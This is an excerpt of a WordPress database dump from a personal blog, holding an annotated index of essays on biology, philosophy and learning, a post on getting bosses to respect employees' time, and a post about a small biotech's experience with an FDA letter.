(183,1,'2021-08-01 17:00:51','2021-08-01 17:00:51','<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2021-08-01 17:00:51','2021-08-01 17:00:51','',22,'https://trevorklee.com/?p=183',0,'revision','',0),
(184,1,'2021-08-09 16:12:03','0000-00-00 00:00:00','<!-- wp:paragraph -->\n<p>A close friend of mine is an architect. She works for small architectural firm A, moonlights for an even smaller firm B, and is considering switching to work for even smaller firm C (it would literally be just her and the main architect).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>She was complaining to me that the bosses at A and B were both running roughshod over her personal life. Boss A would wait until 7:00 pm to ask her to change a crucial detail about a presentation for a routine client meeting the next day, resulting in regularly coming home at 10 pm for no good reason. Boss B, meanwhile, would ask her at 9 am to come in at 1 pm for a meeting (which is not exactly moonlight hours), then not show up herself until 1:30 pm.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Neither one was respecting her personal time. Both were demanding way, way too much from her. She was trying to solve the situation by switching to firm C, but who\'s to say the boss at firm C wouldn\'t do the same?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"Sounds like you need to set better boundaries with your boss,\" I said. Then she looked at me and said, \"Wow, that is profoundly unhelpful.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Which, in retrospect, is fair. So let me explain what I mean.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When your boss doesn\'t respect your time, it\'s easy to assume that they\'re just a jerk. This may be true, but it\'s an unhelpful way of looking at it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What\'s a better way of looking at it is that a boss at a small company has likely never really considered their procedures. This is, ironically, especially true for a highly collaborative field like architecture. Architecture involves a lot of spinning plates, and it\'s probable that your boss\'s preferred method of working has always just been the minimum of what keeps all the plates spinning without everything crashing. Every time a new plate has been added, your boss has slightly changed their procedures, just enough so that they can keep everything still working.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By the time you end up at the company, you are in the midst of a bunch of accreted procedures, each one added on to keep the last plate from crashing. Your boss is afraid to change them because it might cause all the plates to crash. So, they\'d rather do things that are objectively jerkish rather than change it up.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So what does that mean for you? Well, this is when the lack of clear reasons for procedures can work for you. It doesn\'t seem like it, but you can actually push back on procedures, especially when you first start. Not generally, for everyone, but for you. Make it clear to your boss that you cannot meet at 7:30 pm for any reason because you have a sick grandma/needy cat/strict landlord.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a skilled knowledge worker who is difficult to replace, this will not get you fired. Promise. It\'s really annoying to fire and replace someone with a particular set of skills, and bosses try to reserve that for extreme cases.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead, you will become another spinning plate for your boss. They will slightly change their procedures to work around you and keep the rest of the plates spinning, just as they did for everything else up to this point. They won\'t like it because they hate changing their procedures, and every time they do they get worried that all the plates will crash. But, if you\'re firm about it, they\'ll manage and get over it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fair warning: your coworkers will not like it either. They will be mad because they have also internalized that this is the way things <em>have</em> to be, and it will seem unfair to them that you get special treatment. This is, as the kids say, tough cookies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But what to do if your boss literally can\'t or won\'t make the change? What if your availability at 7:30 pm is central to their business model, and when you brought it up to them they started crying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, easiest answer would be to get a new job. Life\'s too short. Barring that, however, the other key advice is that inconveniences to you should inconvenience your boss as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> If you are a contractor, for instance, the right to call you in at 1 pm on Saturday should be an extra $1000/month, on top of your hourly fee. Either they find a way to pay the fee or they don\'t call you in at 1 pm on Saturday.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, if you\'re an employee whose boss asks for last minute changes, ask for last last minute review of the changes with them. Make sure they take time out of their day that they didn\'t want to take out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The important part is that the inconveniences to you did not cost your boss anything. That\'s part of why they\'re in your boss\'s procedures. If they had, it might have been a different story.</p>\n<!-- /wp:paragraph -->','Become a spinning plate to make your boss respect your time','','draft','closed','closed','','','','','2021-08-09 16:12:03','2021-08-09 16:12:03','',0,'https://trevorklee.com/?page_id=184',0,'page','',0),
(185,1,'2021-08-09 16:12:03','2021-08-09 16:12:03','<!-- wp:paragraph -->\n<p>A close friend of mine is an architect. She works for small architectural firm A, moonlights for an even smaller firm B, and is considering switching to work for even smaller firm C (it would literally be just her and the main architect).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>She was complaining to me that the bosses at A and B were both running roughshod over her personal life. Boss A would wait until 7:00 pm to ask her to change a crucial detail about a presentation for a routine client meeting the next day, resulting in regularly coming home at 10 pm for no good reason. Boss B, meanwhile, would ask her at 9 am to come in at 1 pm for a meeting (which is not exactly moonlight hours), then not show up herself until 1:30 pm.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Neither one was respecting her personal time. Both were demanding way, way too much from her. She was trying to solve the situation by switching to firm C, but who\'s to say the boss at firm C wouldn\'t do the same?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"Sounds like you need to set better boundaries with your boss,\" I said. Then she looked at me and said, \"Wow, that is profoundly unhelpful.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Which, in retrospect, is fair. So let me explain what I mean.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When your boss doesn\'t respect your time, it\'s easy to assume that they\'re just a jerk. This may be true, but it\'s an unhelpful way of looking at it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What\'s a better way of looking at it is that a boss at a small company has likely never really considered their procedures. This is, ironically, especially true for a highly collaborative field like architecture. Architecture involves a lot of spinning plates, and it\'s probable that your boss\'s preferred method of working has always just been the minimum of what keeps all the plates spinning without everything crashing. Every time a new plate has been added, your boss has slightly changed their procedures, just enough so that they can keep everything still working.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By the time you end up at the company, you are in the midst of a bunch of accreted procedures, each one added on to keep the last plate from crashing. Your boss is afraid to change them because it might cause all the plates to crash. So, they\'d rather do things that are objectively jerkish rather than change it up.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So what does that mean for you? Well, this is when the lack of clear reasons for procedures can work for you. It doesn\'t seem like it, but you can actually push back on procedures, especially when you first start. Not generally, for everyone, but for you. Make it clear to your boss that you cannot meet at 7:30 pm for any reason because you have a sick grandma/needy cat/strict landlord.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a skilled knowledge worker who is difficult to replace, this will not get you fired. Promise. It\'s really annoying to fire and replace someone with a particular set of skills, and bosses try to reserve that for extreme cases.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead, you will become another spinning plate for your boss. They will slightly change their procedures to work around you and keep the rest of the plates spinning, just as they did for everything else up to this point. They won\'t like it because they hate changing their procedures, and every time they do they get worried that all the plates will crash. But, if you\'re firm about it, they\'ll manage and get over it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fair warning: your coworkers will not like it either. They will be mad because they have also internalized that this is the way things <em>have</em> to be, and it will seem unfair to them that you get special treatment. This is, as the kids say, tough cookies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But what to do if your boss literally can\'t or won\'t make the change? What if your availability at 7:30 pm is central to their business model, and when you brought it up to them they started crying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, easiest answer would be to get a new job. Life\'s too short. Barring that, however, the other key advice is that inconveniences to you should inconvenience your boss as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> If you are a contractor, for instance, the right to call you in at 1 pm on Saturday should be an extra $1000/month, on top of your hourly fee. Either they find a way to pay the fee or they don\'t call you in at 1 pm on Saturday.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, if you\'re an employee whose boss asks for last minute changes, ask for last last minute review of the changes with them. Make sure they take time out of their day that they didn\'t want to take out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The important part is that the inconveniences to you did not cost your boss anything. That\'s part of why they\'re in your boss\'s procedures. If they had, it might have been a different story.</p>\n<!-- /wp:paragraph -->','Become a spinning plate to make your boss respect your time','','inherit','closed','closed','','184-revision-v1','','','2021-08-09 16:12:03','2021-08-09 16:12:03','',184,'https://trevorklee.com/?p=185',0,'revision','',0),
(187,1,'2021-08-11 14:54:07','2021-08-11 14:54:07','<!-- wp:paragraph -->\n<p>I\'ve been following the discussions around the FDA recently with great interest. COVID has made everyone a lot more aware of the FDA, which I think is why Scott Alexander\'s recent post about <a href=\"https://astralcodexten.substack.com/p/adumbrations-of-aducanumab\">the FDA</a> prompted so much furious discussion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I wanted to add a different voice to the mix: the voice of small biotech. When people think about who interacts with the FDA, they often think about large biotech, like Biogen and Pfizer. But, as with any industry, there are many more small players than there are large players. And, as with any industry, it is much more intimidating dealing with regulators as a small player than as a large player.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As the president of a very small, very early stage biotech company, this is a matter of personal interest to me. (Side note: if you\'re interested in the mission of treating autoimmune diseases by repurposing generics, <a href=\"mailto:trevor@highwaypharm.com\">drop me a line</a>!)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, this is isn\'t about me or my company. This is about a much larger (but still small), much later stage biotech: <a href=\"https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=&amp;cad=rja&amp;uact=8&amp;ved=2ahUKEwiY96OUl6nyAhVUCc0KHeMjBm8QFnoECAQQAQ&amp;url=https%3A%2F%2Fwww.axsome.com%2F&amp;usg=AOvVaw0o0iEvstMs8EYHUOyqY5D2\">Axsome Therapeutics</a>. They have a market cap that, until 3 days ago, was hovering around $2 billion, and a drug that, until 3 days ago, looked to be approved very soon for treating major depressive disorder.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What happened 3 days ago? The FDA happened. To put it bluntly, the FDA wrecked their shit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You see, Axsome thought they were in a good place, as did the stock market. Axome had a drug, bupropion-dextromethorphan, which had <a href=\"https://www.globenewswire.com/fr/news-release/2020/12/01/2137234/33090/en/Axsome-Therapeutics-Announces-Positive-Efficacy-and-Safety-Results-from-Phase-3-COMET-Long-Term-Trial-and-COMET-AU-Trial-of-AXS-05-in-Major-Depressive-Disorder.html\">done well in their phase 3 trials for major depressive disorder</a>. The next step after that is to submit the drug for approval to the FDA, which, when there are such clear indications of improvement, is usually a layup. An annoying layup, filled with lots of paperwork, but a layup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that\'s not what happened. Instead, <a href=\"https://www.fiercebiotech.com/biotech/fda-finds-fault-axsome-s-depression-filing-sinking-stock\">the FDA sent Axsome a letter on July 30 saying that they found \"deficiencies\" that prevented them from moving forward with the approval</a>. What are those deficiencies? Oh, the FDA doesn\'t say. They don\'t even give a hint. They just told them to hang tight until August 22.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It\'s impossible to overstate how devastating a letter like that can be for a biotech. At this point, Axsome has undoubtedly sunk millions of dollars and around 9 years into this drug. Even worse, in preparation for a commercial launch, Axsome has undoubtedly hired dozens of sales people, marketers, and people who are experienced navigating the incredibly complicated landscape of insurance reimbursement. Every month that those people are on the payroll is probably at least another million burned.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The FDA, with a single letter, put all of that in jeopardy. They made Axsome\'s share price halve, caused Axsome to burn at least a million dollars, and may yet bankrupt the whole company. And they did that without even saying why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is what it\'s like for a small biotech dealing with the FDA. It\'s terrifying and perpetually anger-inducing. It is hard enough to develop a drug, both scientifically and financially. Getting to the end of a phase 3 trial with positive results takes so much luck and so much hard work. For the FDA to come in at the end of that and say, \"Hey, we might cancel your drug. We\'re not sure yet. Talk to you in a month!\"? Well, you can imagine how that feels.</p>\n<!-- /wp:paragraph -->','What the FDA is really like from a small biotech\'s perspective (hint: they\'re terrifying)','','publish','closed','closed','','what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying','','','2021-08-11 14:54:07','2021-08-11 14:54:07','',0,'https://trevorklee.com/?page_id=187',0,'page','',0),
(188,1,'2021-08-11 14:54:07','2021-08-11 14:54:07','<!-- wp:paragraph -->\n<p>I\'ve been following the discussions around the FDA recently with great interest. COVID has made everyone a lot more aware of the FDA, which I think is why Scott Alexander\'s recent post about <a href=\"https://astralcodexten.substack.com/p/adumbrations-of-aducanumab\">the FDA</a> prompted so much furious discussion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I wanted to add a different voice to the mix: the voice of small biotech. When people think about who interacts with the FDA, they often think about large biotech, like Biogen and Pfizer. But, as with any industry, there are many more small players than there are large players. And, as with any industry, it is much more intimidating dealing with regulators as a small player than as a large player.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As the president of a very small, very early stage biotech company, this is a matter of personal interest to me. (Side note: if you\'re interested in the mission of treating autoimmune diseases by repurposing generics, <a href=\"mailto:trevor@highwaypharm.com\">drop me a line</a>!)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, this is isn\'t about me or my company. This is about a much larger (but still small), much later stage biotech: <a href=\"https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=&amp;cad=rja&amp;uact=8&amp;ved=2ahUKEwiY96OUl6nyAhVUCc0KHeMjBm8QFnoECAQQAQ&amp;url=https%3A%2F%2Fwww.axsome.com%2F&amp;usg=AOvVaw0o0iEvstMs8EYHUOyqY5D2\">Axsome Therapeutics</a>. They have a market cap that, until 3 days ago, was hovering around $2 billion, and a drug that, until 3 days ago, looked to be approved very soon for treating major depressive disorder.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What happened 3 days ago? The FDA happened. To put it bluntly, the FDA wrecked their shit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You see, Axsome thought they were in a good place, as did the stock market. Axome had a drug, bupropion-dextromethorphan, which had <a href=\"https://www.globenewswire.com/fr/news-release/2020/12/01/2137234/33090/en/Axsome-Therapeutics-Announces-Positive-Efficacy-and-Safety-Results-from-Phase-3-COMET-Long-Term-Trial-and-COMET-AU-Trial-of-AXS-05-in-Major-Depressive-Disorder.html\">done well in their phase 3 trials for major depressive disorder</a>. The next step after that is to submit the drug for approval to the FDA, which, when there are such clear indications of improvement, is usually a layup. An annoying layup, filled with lots of paperwork, but a layup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that\'s not what happened. Instead, <a href=\"https://www.fiercebiotech.com/biotech/fda-finds-fault-axsome-s-depression-filing-sinking-stock\">the FDA sent Axsome a letter on July 30 saying that they found \"deficiencies\" that prevented them from moving forward with the approval</a>. What are those deficiencies? Oh, the FDA doesn\'t say. They don\'t even give a hint. They just told them to hang tight until August 22.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It\'s impossible to overstate how devastating a letter like that can be for a biotech. At this point, Axsome has undoubtedly sunk millions of dollars and around 9 years into this drug. Even worse, in preparation for a commercial launch, Axsome has undoubtedly hired dozens of sales people, marketers, and people who are experienced navigating the incredibly complicated landscape of insurance reimbursement. Every month that those people are on the payroll is probably at least another million burned.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The FDA, with a single letter, put all of that in jeopardy. They made Axsome\'s share price halve, caused Axsome to burn at least a million dollars, and may yet bankrupt the whole company. And they did that without even saying why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is what it\'s like for a small biotech dealing with the FDA. It\'s terrifying and perpetually anger-inducing. It is hard enough to develop a drug, both scientifically and financially. Getting to the end of a phase 3 trial with positive results takes so much luck and so much hard work. For the FDA to come in at the end of that and say, \"Hey, we might cancel your drug. We\'re not sure yet. Talk to you in a month!\"? Well, you can imagine how that feels.</p>\n<!-- /wp:paragraph -->','What the FDA is really like from a small biotech\'s perspective (hint: they\'re terrifying)','','inherit','closed','closed','','187-revision-v1','','','2021-08-11 14:54:07','2021-08-11 14:54:07','',187,'https://trevorklee.com/?p=188',0,'revision','',0),
